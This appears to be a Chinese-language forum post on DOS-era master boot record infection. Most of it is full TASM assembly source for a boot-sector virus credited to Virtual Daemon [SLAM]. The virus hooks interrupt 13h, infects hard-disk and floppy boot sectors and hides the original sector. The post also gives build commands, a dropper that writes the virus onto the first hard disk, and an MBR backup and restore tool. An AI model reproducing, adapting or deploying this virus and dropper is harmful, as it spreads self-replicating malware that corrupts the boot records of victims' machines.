MBR感染,是DOS时代的事情了..那个时代的Dos机需要一个1.44MB大小的软盘来作为启动盘,于是MBR病毒就会大肆的感染
MBR区,也感染了软盘的MBR...呵呵..现在的windows不需要通过软盘来启动了..但是现在的MBR感染应该不叫MBR感染了..
叫改写了MBR区..windows下对MBR改写的可以参考下charme同学的<<MBR另类感染技术>>.
下面贴一段dos时代的mbr病毒,注意hook int 13h...
;example.asm
;===================================================================
;
; compile it with : tasm /m example.asm | tlink /x example.obj
; exe2bin example.exe
; and then use the dropper program located at the end of the virus
;
;===================================================================
.286
.model tiny
.code
org 0
begin:
jmp short install_virus ;跳转到真正的病毒体(2字节)
db 3ch dup (0) ;buffer used for saving the floppy stuph
install_virus:
xor ax,ax
cli
mov ss,ax
mov sp,7c00h
sti
;decrease the TOM with 1kb
mov ds,ax
dec WORD ptr ds:[413h]
mov ax,WORD ptr ds:[413h] ;get the new value (should be = 639kb)
;替病毒寻找一个新的segment,并将病毒复制到该segment
mov cl,6
shl ax,cl ;convert from kb to paragraphs
mov es,ax ;ES is now equal to the new segment
mov si,7c00h ;DS:SI = 0:7C00H(病毒的开始地址)
xor di,di ;ES:DI = ES:0
mov cx,256
cld
rep movsw ;复制CX*2字节数,从DS:SI到ES:DI
push es
lea ax,[inmemory] ;save the offset where to jump
push ax
retf ;jump to our virus in memory
inmemory:
mov ax,WORD ptr ds:[13h*4] ;获得原始的 int 13h的入口地址
mov WORD ptr cs:[old_13h],ax;并将该地址保存在变量old_13h中
mov ax,WORD ptr ds:[13h*4+2]
mov WORD ptr cs:[old_13h+2],ax
mov WORD ptr ds:[13h*4+2],es;set the segment
lea ax,myint13h
mov WORD ptr ds:[13h*4],ax ;设置新的中断处理程序,指向myint13h
int 19h ;int 19h 重启.
;并将硬盘主引导扇区读到0000:7C00(OS的加载指令),
;再转到该处执行,进一步引导OS
myint13h:
cmp dh,0 ;检查是否为 head 0
jne exit_handler
cmp cx,1 ;检查是否为sector 1 和 track 0
jne exit_handler
cmp ah,2 ;read from sector 1?
jne exit_handler
call int13 ;伪造个一个int13,参见下面代码
jnc read_call ;if no error,jump to our code
exit_handler:
db 0eah ;跳转到 原始的 int13h
old_13h dd ?
read_call:
pushf
pusha
push ds es
cmp WORD ptr es:[bx+offset vmark],'DV';检查感染标志
je stealth
push cs cs
pop ds es ;DS=ES=CS
mov bx,512 ;put it in CS:512
mov ax,201h ;read one sector
call int13
mov cx,3ch ;复制3ch字节数
mov si,514 ;从 CS:514
mov di,2 ;到 CS:2
cld
rep movsb ;mov from DS:SI to ES:DI
call choose_sector
mov ax,301h ;write the original MBR/BS
call int13 ;write it to disk
;将病毒写入主引导扇区
xor bx,bx ;from CS:0
xor dh,dh ;to head 0
mov cx,1 ;track 0, sector 1
mov ax,301h ;write our virus
call int13
jmp short exit
stealth:
mov ax,201h ;read the original MBR/BS in memory
call choose_sector
call int13
exit:
pop es ds
popa
popf
retf
;将硬盘的MBR保存在sector 2,软盘的MBR保存在sector 14
choose_sector:
mov cx,2
cmp dl,79h
ja hard_disk
mov dh,1
mov cx,14
hard_disk:
ret
int13:
pushf
call DWORD ptr cs:[old_13h]
ret
vmark db 'VDamon' ;病毒感染标志
org 1feh ;1feh=510=(512-word)
db 055h,0aah ;boot signature
end begin
;dropper.asm
; ----------- cut here -----------
; And here goes a little dropper for the virus...
; ----------- cut here -----------
; tasm dropper.asm | tlink /x /t dropper.obj
;
.model tiny
.code
org 100h
start:
;read the original MBR in memory
mov ax,201h
mov dx,80h
mov cx,1
push cs
pop es
lea bx,after_end
int 13h
;write the original MBR to disk (0,0,2)
mov dx,80h
mov cx,2
mov ax,301h
lea bx,after_end
int 13h
;read the virus from file
mov ax,3d00h
lea dx,virus_sample
int 21h
xchg bx,ax
mov ah,3fh
lea dx,after_end
mov cx,512
int 21h
mov ah,3eh
int 21h
;write the virus to disk (0,0,1)
mov dx,80h
mov ax,301h
lea bx,after_end
mov cx,1
int 13h
;exit to operating system
mov ax,4c00h
int 21h
virus_sample db 'example.bin',0
after_end:
end start
;saving and restoring MBR
--< cut here >--
.286
.model tiny
.code
org 100h
start:
mov ah,62h ;get the current PSP address
int 21h
mov es,bx ;ES=seg of PSP for current process
mov al,byte ptr es:82h ;point to the DOS command line
cmp al,'0' ;if 1st param='0' then save everything
je read_save_all
cmp al,'1' ;else, restore everything
je write_restore_all
push cs ;if no param entered, display err msg
pop ds
mov ah,9
lea dx,params
int 21h
exit:
mov ax,4c00h ;and exit...
int 21h
read_save_all:
push cs cs
pop ds es ;es=ds=cs
mov ah,3ch ;create a new file
xor cx,cx ;normal file even
lea dx,filename ;'bootpart.cap' is its name :)
int 21h
jnc r_continue
r_error:
mov ah,9 ;error creating 'bootpart.cap'
lea dx,createrr
int 21h
jmp exit
r_continue:
xchg bx,ax ;handle in BX
mov dh,0 ;read the Master Boot Record of 1st HDD
call readsector
mov ah,40h ;write it to our file
lea dx,buffer
mov cx,512
int 21h
jc r_error ;if error, exit
mov dh,1 ;read the Boot Sector of 1st HDD
call readsector
mov ah,40h ;write it to our file
lea dx,buffer
mov cx,512
int 21h
jc r_error ;if error, exit
mov ah,3eh ;close the file
int 21h
jmp exit
write_restore_all:
push cs cs
pop ds es ;es=ds=cs
mov ax,3d00h ;open
lea dx,filename ;'bootpart.cap'
int 21h ;NOW! :)
jnc w_continue
w_error:
mov ah,9
lea dx,readerr ;error reading BOOTPART.CAP file
int 21h
jmp exit
w_continue:
xchg bx,ax ;handle in BX
mov ah,3fh ;read the MBR from file in memory
lea dx,buffer
mov cx,512
int 21h
jc w_error
mov dh,0 ;write the MBR
call writesector
mov ah,3fh ;read the BS from file in memory
lea dx,buffer
mov cx,512
int 21h
jc w_error
mov dh,1 ;write the BS
call writesector
mov ah,3eh ;close the file
int 21h
jmp exit
readsector:
;input: head number in DH
;output: buffer filled up with the read sector
pusha ;save all registers
mov ah,2 ;subfunction 02h=read sectors
mov dl,80h ;80h=first hard disk
xor ch,ch ;track (cylinder) number
mov cl,1 ;sector number
mov al,1 ;sector count
lea bx,buffer ;address of our buffer
int 13h
popa ;restore all registers
ret
writesector:
;input: head number in DH
; buffer filled up with the sector you want to write
;output: nothing
pusha ;save all registers
mov ah,3 ;subfunction 03h=write sectors
mov dl,80h ;80h=first hard disk
xor ch,ch ;track (cylinder) number
mov cl,1 ;sector number
mov al,1 ;sector count
lea bx,buffer ;address of our buffer
int 13h
popa ;restore all registers
ret
createrr db 13,10,'Error creating BOOTPART.CAP!',13,10,'$'
readerr db 13,10,'Error reading BOOTPART.CAP!',13,10,'$'
params db 13,10,'MBR/BS backup, coded by Virtual Daemon [SLAM]',13,10
db 'Use: <0> to save the MBR/BS of the 1st HDD to a file (bootpart.cap)',13,10
db ' <1> to restore the previously saved MBR/BS from a file',13,10,'$'
filename db 'bootpart.cap',0
buffer db 512 dup (?)
end start
--< cut here >--